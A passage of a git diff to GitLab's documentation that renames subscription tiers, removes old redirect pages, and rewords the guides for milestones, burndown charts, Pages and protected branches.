Starter](https://about.gitlab.com/pricing/) 13.6. +> - [Added](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/6495) to GitLab 11.2 for group milestones. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) [fixed burndown charts](#fixed-burndown-charts) in GitLab 13.6. +> - Moved to GitLab Premium in 13.9. Burndown charts show the number of issues over the course of a milestone. @@ -101,10 +100,11 @@ Therefore, when the milestone start date is changed, the number of opened issues change. Reopened issues are considered as having been opened on the day after they were last closed. -## Burnup charts +## Burnup charts **(PREMIUM)** -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.6. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268350) in [GitLab Starter](https://about.gitlab.com/pricing/) 13.7. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/6903) in GitLab 13.6. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/268350) in GitLab 13.7. +> - Moved to GitLab Premium in 13.9. Burnup charts show the assigned and completed work for a milestone. diff --git a/doc/user/project/milestones/index.md b/doc/user/project/milestones/index.md index acf32bb0f92..fe34dca4959 100644 --- a/doc/user/project/milestones/index.md +++ b/doc/user/project/milestones/index.md @@ -5,7 +5,7 @@ group: Project Management info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Milestones **(CORE)** +# Milestones **(FREE)** Milestones in GitLab are a way to track issues and merge requests created to achieve a broader goal in a certain period of time. @@ -123,10 +123,16 @@ From the project and group issue/merge request list pages, you can [filter](../. ### Filtering in issue boards -- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [search and filter bar](../../search/index.md#issue-boards). -- From [group issue boards](../issue_board.md#group-issue-boards), you can filter by only group milestones in the [search and filter bar](../../search/index.md#issue-boards). **(PREMIUM)** -- From [project issue boards](../issue_board.md), you can filter by both group milestones and project milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)** -- From [group issue boards](../issue_board.md#group-issue-boards) you can filter by only group milestones in the [issue board configuration](../issue_board.md#configurable-issue-boards). **(STARTER)** +From [project issue boards](../issue_board.md), you can filter by both group milestones and project +milestones in: + +- [Search and filter bar](../../search/index.md#issue-boards) +- [Issue board configuration](../issue_board.md#configurable-issue-boards) + +From [group issue boards](../issue_board.md#group-issue-boards), you can filter by only group milestones in: + +- [Search and filter bar](../../search/index.md#issue-boards) +- [Issue board configuration](../issue_board.md#configurable-issue-boards) ### Special milestone filters @@ -155,15 +161,17 @@ There are also tabs below these that show the following: - **Participants**: Shows all assignees of issues assigned to the milestone. - **Labels**: Shows all labels that are used in issues assigned to the milestone. -### Project Burndown Charts **(STARTER)** +### Project Burndown Charts -For project milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone. +For project milestones, a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, +showing the progress of completing a milestone.  -### Group Burndown Charts **(STARTER)** +### Group Burndown Charts -For group milestones in [GitLab Starter](https://about.gitlab.com/pricing/), a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, showing the progress of completing a milestone. +For group milestones, a [burndown chart](burndown_and_burnup_charts.md) is in the milestone view, +showing the progress of completing a milestone. ### Milestone sidebar diff --git a/doc/user/project/new_ci_build_permissions_model.md b/doc/user/project/new_ci_build_permissions_model.md index 4910751ece1..585d97c74c2 100644 --- a/doc/user/project/new_ci_build_permissions_model.md +++ b/doc/user/project/new_ci_build_permissions_model.md @@ -195,7 +195,7 @@ As a user: ### Dependent repositories -The [Job environment variable](../../ci/variables/README.md#predefined-environment-variables) `CI_JOB_TOKEN` can be used to +The [CI/CD variable](../../ci/variables/README.md#predefined-cicd-variables) `CI_JOB_TOKEN` can be used to authenticate any clones of dependent repositories. For example: ```shell diff --git a/doc/user/project/operations/alert_management.md b/doc/user/project/operations/alert_management.md deleted file mode 100644 index e60e7d93d12..00000000000 --- a/doc/user/project/operations/alert_management.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/incident_management/index.md' ---- - -This document was moved to [another location](../../../operations/incident_management/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/dashboard_settings.md b/doc/user/project/operations/dashboard_settings.md deleted file mode 100644 index ef106181acc..00000000000 --- a/doc/user/project/operations/dashboard_settings.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/metrics/dashboards/settings.md' ---- - -This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/error_tracking.md b/doc/user/project/operations/error_tracking.md deleted file mode 100644 index 399ab0d53dc..00000000000 --- a/doc/user/project/operations/error_tracking.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/error_tracking.md' ---- - -This document was moved to [another location](../../../operations/error_tracking.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/feature_flags.md b/doc/user/project/operations/feature_flags.md deleted file mode 100644 index 03f2cad6d78..00000000000 --- a/doc/user/project/operations/feature_flags.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/feature_flags.md' ---- - -This document was moved to [another location](../../../operations/feature_flags.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/index.md b/doc/user/project/operations/index.md deleted file mode 100644 index d19cf393883..00000000000 --- a/doc/user/project/operations/index.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/index.md' ---- - -This document was moved to [another location](../../../operations/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/linking_to_an_external_dashboard.md b/doc/user/project/operations/linking_to_an_external_dashboard.md deleted file mode 100644 index ef106181acc..00000000000 --- a/doc/user/project/operations/linking_to_an_external_dashboard.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/metrics/dashboards/settings.md' ---- - -This document was moved to [another location](../../../operations/metrics/dashboards/settings.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/operations/tracing.md b/doc/user/project/operations/tracing.md deleted file mode 100644 index dcf9894f9e1..00000000000 --- a/doc/user/project/operations/tracing.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../operations/tracing.md' ---- - -This document was moved to [another location](../../../operations/tracing.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven.md b/doc/user/project/packages/maven.md deleted file mode 100644 index 13b5d69586a..00000000000 --- a/doc/user/project/packages/maven.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../packages/maven_repository/index.md' ---- - -This document was moved to [another location](../../packages/maven_repository/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_packages.md b/doc/user/project/packages/maven_packages.md deleted file mode 100644 index 13b5d69586a..00000000000 --- a/doc/user/project/packages/maven_packages.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../packages/maven_repository/index.md' ---- - -This document was moved to [another location](../../packages/maven_repository/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/maven_repository.md b/doc/user/project/packages/maven_repository.md deleted file mode 100644 index 13b5d69586a..00000000000 --- a/doc/user/project/packages/maven_repository.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../packages/maven_repository/index.md' ---- - -This document was moved to [another location](../../packages/maven_repository/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/packages/npm_registry.md b/doc/user/project/packages/npm_registry.md deleted file mode 100644 index f874b05e7e2..00000000000 --- a/doc/user/project/packages/npm_registry.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../packages/npm_registry/index.md' ---- - -This document was moved to [another location](../../packages/npm_registry/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md index aa06a15a8c0..86e34842aaf 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/lets_encrypt_integration.md @@ -19,7 +19,7 @@ GitLab does it for you, out-of-the-box. open source Certificate Authority. WARNING: -This feature covers only certificates for **custom domains**, not the wildcard certificate required to run [Pages daemon](../../../../administration/pages/index.md) **(CORE ONLY)**. Wildcard certificate generation is tracked in [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3342). +This feature covers only certificates for **custom domains**, not the wildcard certificate required to run [Pages daemon](../../../../administration/pages/index.md) **(FREE SELF)**. Wildcard certificate generation is tracked in [this issue](https://gitlab.com/gitlab-org/omnibus-gitlab/-/issues/3342). ## Requirements @@ -28,7 +28,8 @@ Before you can enable automatic provisioning of an SSL certificate for your doma - Created a [project](../index.md#getting-started) in GitLab containing your website's source code. - Acquired a domain (`example.com`) and added a [DNS entry](index.md) - pointing it to your Pages website. + pointing it to your Pages website. The top-level domain (`.com`) must be a + [public suffix](https://publicsuffix.org/). - [Added your domain to your Pages project](index.md#1-add-a-custom-domain-to-pages) and verified your ownership. - Verified your website is up and running, accessible through your custom domain. diff --git a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md index e8c6305dbab..d9f57253396 100644 --- a/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md +++ b/doc/user/project/pages/custom_domains_ssl_tls_certification/ssl_tls_concepts.md @@ -32,7 +32,9 @@ nor credit card transactions, then why do we need secure connections? Back in the 1990s, where HTTPS came out, [SSL](https://en.wikipedia.org/wiki/Transport_Layer_Security#SSL_1.0.2C_2.0_and_3.0) was considered a "special" security measure, necessary just for big companies like banks and shopping sites with financial transactions. +<!-- vale gitlab.Spelling = NO --> Now we have a different picture. [According to Josh Aas](https://letsencrypt.org/2015/10/29/phishing-and-malware.html), Executive Director at [ISRG](https://en.wikipedia.org/wiki/Internet_Security_Research_Group): +<!-- vale gitlab.rulename = YES --> > _We’ve since come to realize that HTTPS is important for almost all websites. It’s important for any website that allows people to log in with a password, any website that [tracks its users](https://www.washingtonpost.com/news/the-switch/wp/2013/12/10/nsa-uses-google-cookies-to-pinpoint-targets-for-hacking/) in any way, any website that [doesn’t want its content altered](https://arstechnica.com/tech-policy/2014/09/why-comcasts-javascript-ad-injections-threaten-security-net-neutrality/), and for any site that offers content people might not want others to know they are consuming. We’ve also learned that any site not secured by HTTPS [can be used to attack other sites](https://krebsonsecurity.com/2015/04/dont-be-fodder-for-chinas-great-cannon/)._ diff --git a/doc/user/project/pages/getting_started/fork_sample_project.md b/doc/user/project/pages/getting_started/fork_sample_project.md deleted file mode 100644 index 2cf118c9066..00000000000 --- a/doc/user/project/pages/getting_started/fork_sample_project.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'pages_forked_sample_project.md' ---- - -This document was moved to [pages_forked_sample_project.md](pages_forked_sample_project.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/new_or_existing_website.md b/doc/user/project/pages/getting_started/new_or_existing_website.md deleted file mode 100644 index 2fc833fbd34..00000000000 --- a/doc/user/project/pages/getting_started/new_or_existing_website.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'pages_ci_cd_template.md' ---- - -This document was moved to [another location](pages_ci_cd_template.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/pages_bundled_template.md b/doc/user/project/pages/getting_started/pages_bundled_template.md deleted file mode 100644 index 0dab1f6ee19..00000000000 --- a/doc/user/project/pages/getting_started/pages_bundled_template.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'pages_new_project_template.md' ---- - -This document was moved to [pages_new_project_template.md](pages_new_project_template.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started/pages_forked_sample_project.md b/doc/user/project/pages/getting_started/pages_forked_sample_project.md index c7916b7c01e..d9ec2aae2b7 100644 --- a/doc/user/project/pages/getting_started/pages_forked_sample_project.md +++ b/doc/user/project/pages/getting_started/pages_forked_sample_project.md @@ -18,7 +18,7 @@ configured to generate a Pages site. To fork a sample project and create a Pages website: 1. View the sample projects by navigating to the [GitLab Pages examples](https://gitlab.com/pages) group. -1. Click the name of the project you want to [fork](../../../../gitlab-basics/fork-project.md). +1. Click the name of the project you want to [fork](../../../../user/project/working_with_projects.md#fork-a-project). 1. In the top right, click the **Fork** button, and then choose a namespace to fork to. 1. Go to your project's **CI/CD > Pipelines** and click **Run pipeline**. GitLab CI/CD builds and deploys your site. @@ -52,5 +52,5 @@ You can take some **optional** further steps:  - - Now go to your SSG's configuration file and change the [base URL](../getting_started_part_one.md#urls-and-baseurls) + - Now go to your SSG's configuration file and change the [base URL](../getting_started_part_one.md#urls-and-base-urls) from `"project-name"` to `""`. The project name setting varies by SSG and may not be in the configuration file. diff --git a/doc/user/project/pages/getting_started_part_four.md b/doc/user/project/pages/getting_started_part_four.md deleted file mode 100644 index 361323a9073..00000000000 --- a/doc/user/project/pages/getting_started_part_four.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'getting_started/pages_from_scratch.md' ---- - -This document was moved to [getting_started/pages_from_scratch.md](getting_started/pages_from_scratch.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_one.md b/doc/user/project/pages/getting_started_part_one.md index 801fe0c7ef0..dee021b8225 100644 --- a/doc/user/project/pages/getting_started_part_one.md +++ b/doc/user/project/pages/getting_started_part_one.md @@ -4,7 +4,7 @@ group: Release info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# GitLab Pages domain names, URLs, and baseurls +# GitLab Pages domain names, URLs, and base URLs On this document, learn how to name your project for GitLab Pages according to your intended website's URL. @@ -78,7 +78,7 @@ To understand Pages domains clearly, read the examples below. - On your GitLab instance, replace `gitlab.io` above with your Pages server domain. Ask your sysadmin for this information. -## URLs and baseurls +## URLs and base URLs NOTE: The `baseurl` option might be called named differently in some static site generators. diff --git a/doc/user/project/pages/getting_started_part_three.md b/doc/user/project/pages/getting_started_part_three.md deleted file mode 100644 index 9d7f401ca91..00000000000 --- a/doc/user/project/pages/getting_started_part_three.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'custom_domains_ssl_tls_certification/index.md' ---- - -This document was moved to [another location](custom_domains_ssl_tls_certification/index.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/getting_started_part_two.md b/doc/user/project/pages/getting_started_part_two.md deleted file mode 100644 index 4b2b186ca28..00000000000 --- a/doc/user/project/pages/getting_started_part_two.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: 'index.md' ---- - -This document was moved to [another location](index.md#getting-started). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pages/index.md b/doc/user/project/pages/index.md index c9e28bf15c2..6eb06972945 100644 --- a/doc/user/project/pages/index.md +++ b/doc/user/project/pages/index.md @@ -103,7 +103,7 @@ optionally secure it with SSL/TLS certificates. If you're using GitLab.com, your website is publicly available to the internet. To restrict access to your website, enable [GitLab Pages Access Control](pages_access_control.md). -If you're using a self-managed instance (Core, Starter, Premium, or Ultimate), +If you're using a self-managed instance (Free, Premium, or Ultimate), your websites are published on your own server, according to the [Pages settings](../../../administration/pages/index.md) chosen by your sysadmin, who can make them public or internal. diff --git a/doc/user/project/pages/introduction.md b/doc/user/project/pages/introduction.md index 8380f367212..fbc86abbe66 100644 --- a/doc/user/project/pages/introduction.md +++ b/doc/user/project/pages/introduction.md @@ -63,7 +63,7 @@ If the case of `404.html`, there are different scenarios. For example: You can configure redirects for your site using a `_redirects` file. To learn more, read the [redirects documentation](redirects.md). -## GitLab Pages Access Control **(CORE)** +## GitLab Pages Access Control **(FREE)** To restrict access to your website, enable [GitLab Pages Access Control](pages_access_control.md). diff --git a/doc/user/project/pages/pages_access_control.md b/doc/user/project/pages/pages_access_control.md index a2a17a4f2ca..2e0fc87b3df 100644 --- a/doc/user/project/pages/pages_access_control.md +++ b/doc/user/project/pages/pages_access_control.md @@ -38,7 +38,9 @@ For a demonstration, see [Pages access controls](https://www.youtube.com/watch?v - **Only project members**: Only project members are able to browse the website. - **Everyone with access**: Everyone, both logged into and logged out of GitLab, is able to browse the website, no matter their project membership. -1. Click **Save changes**. +1. Click **Save changes**. Note that your changes may not take effect immediately. GitLab Pages uses + a caching mechanism for efficiency. Your changes may not take effect until that cache is + invalidated, which usually takes less than a minute. The next time someone tries to access your website and the access control is enabled, they're presented with a page to sign into GitLab and verify they diff --git a/doc/user/project/pipelines/job_artifacts.md b/doc/user/project/pipelines/job_artifacts.md deleted file mode 100644 index cf5f33534cd..00000000000 --- a/doc/user/project/pipelines/job_artifacts.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../ci/pipelines/job_artifacts.md' ---- - -This document was moved to [another location](../../../ci/pipelines/job_artifacts.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/schedules.md b/doc/user/project/pipelines/schedules.md deleted file mode 100644 index 52352a29c5a..00000000000 --- a/doc/user/project/pipelines/schedules.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../ci/pipelines/schedules.md' ---- - -This document was moved to [another location](../../../ci/pipelines/schedules.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/pipelines/settings.md b/doc/user/project/pipelines/settings.md deleted file mode 100644 index f19f28743a8..00000000000 --- a/doc/user/project/pipelines/settings.md +++ /dev/null @@ -1,8 +0,0 @@ ---- -redirect_to: '../../../ci/pipelines/settings.md' ---- - -This document was moved to [another location](../../../ci/pipelines/settings.md). - -<!-- This redirect file can be deleted after February 1, 2021. --> -<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/user/project/protected_branches.md b/doc/user/project/protected_branches.md index 5754a3b7a9d..4629c87f41e 100644 --- a/doc/user/project/protected_branches.md +++ b/doc/user/project/protected_branches.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Protected branches +# Protected branches **(FREE)** [Permissions](../permissions.md) in GitLab are fundamentally defined around the idea of having read or write permission to the repository and branches. To impose @@ -13,7 +13,7 @@ further restrictions on certain branches, they can be protected. ## Overview -By default, a protected branch does four simple things: +By default, a protected branch does these things: - It prevents its creation, if not already created, from everybody except users with Maintainer permission. @@ -21,66 +21,69 @@ By default, a protected branch does four simple things: - It prevents **anyone** from force pushing to the branch. - It prevents **anyone** from deleting the branch. -NOTE: -A GitLab administrator is allowed to push to the protected branches. +**Permissions:** -See the [Changelog](#changelog) section for changes over time. +- GitLab administrators are allowed to push to the protected branches. +- Users with [Developer permissions](../permissions.md) are allowed to + create a project in a group, but might not be allowed to initially + push to the [default branch](repository/branches/index.md#default-branch). The default branch protection level is set in the [Admin Area](../admin_area/settings/visibility_and_access_controls.md#default-branch-protection). +See the [Changelog](#changelog) section for changes over time. + ## Configuring protected branches -To protect a branch, you need to have at least Maintainer permission level. Note -that the `master` branch is protected by default. +To protect a branch, you need to have at least Maintainer permission level. +The `master` branch is protected by default. -1. Navigate to your project's **Settings ➔ Repository** +1. In your project, go to **Settings > Repository**. 1. Scroll to find the **Protected branches** section. 1. From the **Branch** dropdown menu, select the branch you want to protect and click **Protect**. In the screenshot below, we chose the `develop` branch.  -1. Once done, the protected branch will appear in the "Protected branches" list. +1. Once done, the protected branch displays in the **Protected branches** list.  ## Using the Allowed to merge and Allowed to push settings -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5081) in GitLab 8.11. - In GitLab 8.11 and later, we added another layer of branch protection which provides -more granular management of protected branches. The "Developers can push" -option was replaced by an "Allowed to push" setting which can be set to -allow/prohibit Maintainers and/or Developers to push to a protected branch. +more granular management of protected branches. The **Developers can push** +option was replaced by **Allowed to push**. You can set this value to allow +or prohibit Maintainers and/or Developers to push to a protected branch. -Using the "Allowed to push" and "Allowed to merge" settings, you can control +Using the **Allowed to push** and **Allowed to merge** settings, you can control the actions that different roles can perform with the protected branch. -For example, you could set "Allowed to push" to "No one", and "Allowed to merge" -to "Developers + Maintainers", to require _everyone_ to submit a merge request for +For example, you could set **Allowed to push** to "No one", and **Allowed to merge** +to "Developers + Maintainers", to require everyone to submit a merge request for changes going into the protected branch. This is compatible with workflows like the [GitLab workflow](../../topics/gitlab_flow.md). However, there are workflows where that is not needed, and only protecting from force pushes and branch removal is useful. For those workflows, you can allow everyone with write access to push to a protected branch by setting -"Allowed to push" to "Developers + Maintainers". +**Allowed to push** to "Developers + Maintainers". -You can set the "Allowed to push" and "Allowed to merge" options while creating +You can set the **Allowed to push** and **Allowed to merge** options while creating a protected branch or afterwards by selecting the option you want from the -dropdown list in the "Already protected" area. +dropdown list in the **Already protected** area.  If you don't choose any of those options while creating a protected branch, -they are set to "Maintainers" by default. +they are set to Maintainers by default. -### Allow Deploy Keys to push to a protected branch +### Allow deploy keys to push to a protected branch > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30769) in GitLab 13.7. > - This feature is being selectively deployed in GitLab.com 13.7, and may not be available for all users. +> - This feature is available for all users in GitLab 13.9. You can allow specific machines to access protected branches in your repository with -[Deploy Keys](deploy_keys/index.md). This can be useful for your CI/CD workflow, +[deploy keys](deploy_keys/index.md). This can be useful for your CI/CD workflow, for example. Deploy keys can be selected in the **Allowed to push** dropdown when: @@ -88,7 +91,7 @@ Deploy keys can be selected in the **Allowed to push** dropdown when: - Defining a protected branch. - Updating an existing branch. -Select a deploy key to allow the owner of the key to push to the chosen protected branch, +Select a deploy key to allow the key's owner to push to the chosen protected branch, even if they aren't a member of the related project. The owner of the selected deploy key must have at least read access to the given project. @@ -97,30 +100,26 @@ For a deploy key to be selectable: - It must be [enabled for your project](deploy_keys/index.md#how-to-enable-deploy-keys). - It must have [write access](deploy_keys/index.md#deploy-keys-permissions) to your project repository. -Deploy Keys are not available in the **Allowed to merge** dropdown. - - +Deploy keys are not available in the **Allowed to merge** dropdown. -## Restricting push and merge access to certain users **(STARTER)** + -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5081) in [GitLab Starter](https://about.gitlab.com/pricing/) 8.11. +## Restricting push and merge access to certain users **(PREMIUM)** -With GitLab Enterprise Edition you can restrict access to protected branches -by choosing a role (Maintainers, Developers) as well as certain users. From the +With GitLab Premium you can restrict access to protected branches +by choosing a role (Maintainers, Developers) and certain users. From the dropdown menu select the role and/or the users you want to have merge or push access.  -Click **Protect** and the branch will appear in the "Protected branch" list. +Click **Protect** and the branch displays in the **Protected branch** list.  ## Wildcard protected branches -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4665) in GitLab 8.10. - -You can specify a wildcard protected branch, which will protect all branches +You can specify a wildcard protected branch, which protects all branches matching the wildcard. For example: | Wildcard Protected Branch | Matching Branches | @@ -129,15 +128,15 @@ matching the wildcard. For example: | `production/*` | `production/app-server`, `production/load-balancer` | | `*gitlab*` | `gitlab`, `gitlab/staging`, `master/gitlab/production` | -Protected branch settings (like "Developers can push") apply to all matching +Protected branch settings, like **Developers can push**, apply to all matching branches. Two different wildcards can potentially match the same branch. For example, `*-stable` and `production-*` would both match a `production-stable` branch. In that case, if _any_ of these protected branches have a setting like -"Allowed to push", then `production-stable` will also inherit this setting. +"Allowed to push", then `production-stable` also inherit this setting. -If you click on a protected branch's name, you will be presented with a list of +If you click on a protected branch's name, GitLab displays a list of all matching branches:  @@ -151,41 +150,36 @@ When a protected branch or wildcard protected branches are set to Developers (and users with higher [permission levels](../permissions.md)) are allowed to create a new protected branch as long as they are [**Allowed to merge**](#using-the-allowed-to-merge-and-allowed-to-push-settings). -This can only be done via the UI or through the API (to avoid creating protected -branches accidentally from the command line or from a Git client application). +This can only be done by using the UI or through the API, to avoid creating protected +branches accidentally from the command line or from a Git client application. To create a new branch through the user interface: -1. Visit **Repository > Branches**. +1. Go to **Repository > Branches**. 1. Click on **New branch**. -1. Fill in the branch name and select an existing branch, tag, or commit that - the new branch will be based off. Only existing protected branches and commits - that are already in protected branches will be accepted. +1. Fill in the branch name and select an existing branch, tag, or commit to + base the new branch on. Only existing protected branches and commits + that are already in protected branches are accepted. ## Deleting a protected branch -> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21393) in GitLab 9.3. - -From time to time, it may be required to delete or clean up branches that are -protected. +From time to time, you may need to delete or clean up protected branches. +User with [Maintainer permissions](../permissions.md) and greater can manually delete protected +branches by using the GitLab web interface: -User with [Maintainer permissions](../permissions.md) and up can manually delete protected -branches via the GitLab web interface: - -1. Visit **Repository > Branches** -1. Click on the delete icon next to the branch you wish to delete -1. In order to prevent accidental deletion, an additional confirmation is - required +1. Go to **Repository > Branches**. +1. Click on the delete icon next to the branch you wish to delete. +1. To prevent accidental deletion, an additional confirmation is required.  -Deleting a protected branch is only allowed via the web interface, not via Git. +Deleting a protected branch is allowed only by using the web interface; not from Git. This means that you can't accidentally delete a protected branch from your command line or a Git client application. -## Protected Branches approval by Code Owners **(PREMIUM)** +## Protected branches approval by Code Owners **(PREMIUM)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13251) in [GitLab Premium](https://about.gitlab.com/pricing/) 12.4. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/13251) in GitLab Premium 12.4. It is possible to require at least one approval by a [Code Owner](code_owners.md) to a file changed by the @@ -208,7 +202,7 @@ To enable Code Owner's approval to branches already protected:  -When enabled, all merge requests targeting these branches will require approval +When enabled, all merge requests targeting these branches require approval by a Code Owner per matched rule before they can be merged. Additionally, direct pushes to the protected branch are denied if a rule is matched. @@ -224,26 +218,9 @@ for details about the pipelines security model. ## Changelog -**13.5** - -- [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769). - -**11.9** - -- [Allow protected branches to be created](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) by Developers (and users with higher permission levels) through the API and the user interface. - -**9.2** - -- Allow deletion of protected branches via the web interface ([issue #21393](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/21393)). - -**8.11** - -- Allow creating protected branches that can't be pushed to ([merge request !5081](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/5081)). - -**8.10** - -- Allow developers without push access to merge into a protected branch ([merge request !4892](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4892)). -- Allow specifying protected branches using wildcards ([merge request !4665](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/4665)). +- **13.5**: [Allow Deploy keys to push to protected branches once more](https://gitlab.com/gitlab-org/gitlab/-/issues/30769). +- **11.9**: [Allow protected branches to be created](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53361) + by Developers (and users with higher permission levels) through the API and the user interface. <!-- ## Troubleshooting diff --git a/doc/user/project/protected_tags.md b/doc/user/project/protected_tags.md index 7e09c526312..3ea0bb62c0b 100644 --- a/doc/user/project/protected_tags.md +++ b/doc/user/project/protected_tags.md @@ -5,7 +5,7 @@ info: "To determine the technical writer assigned to the Stage/Group associated type: reference, howto --- -# Protected tags +# Protected tags **(FREE)** > 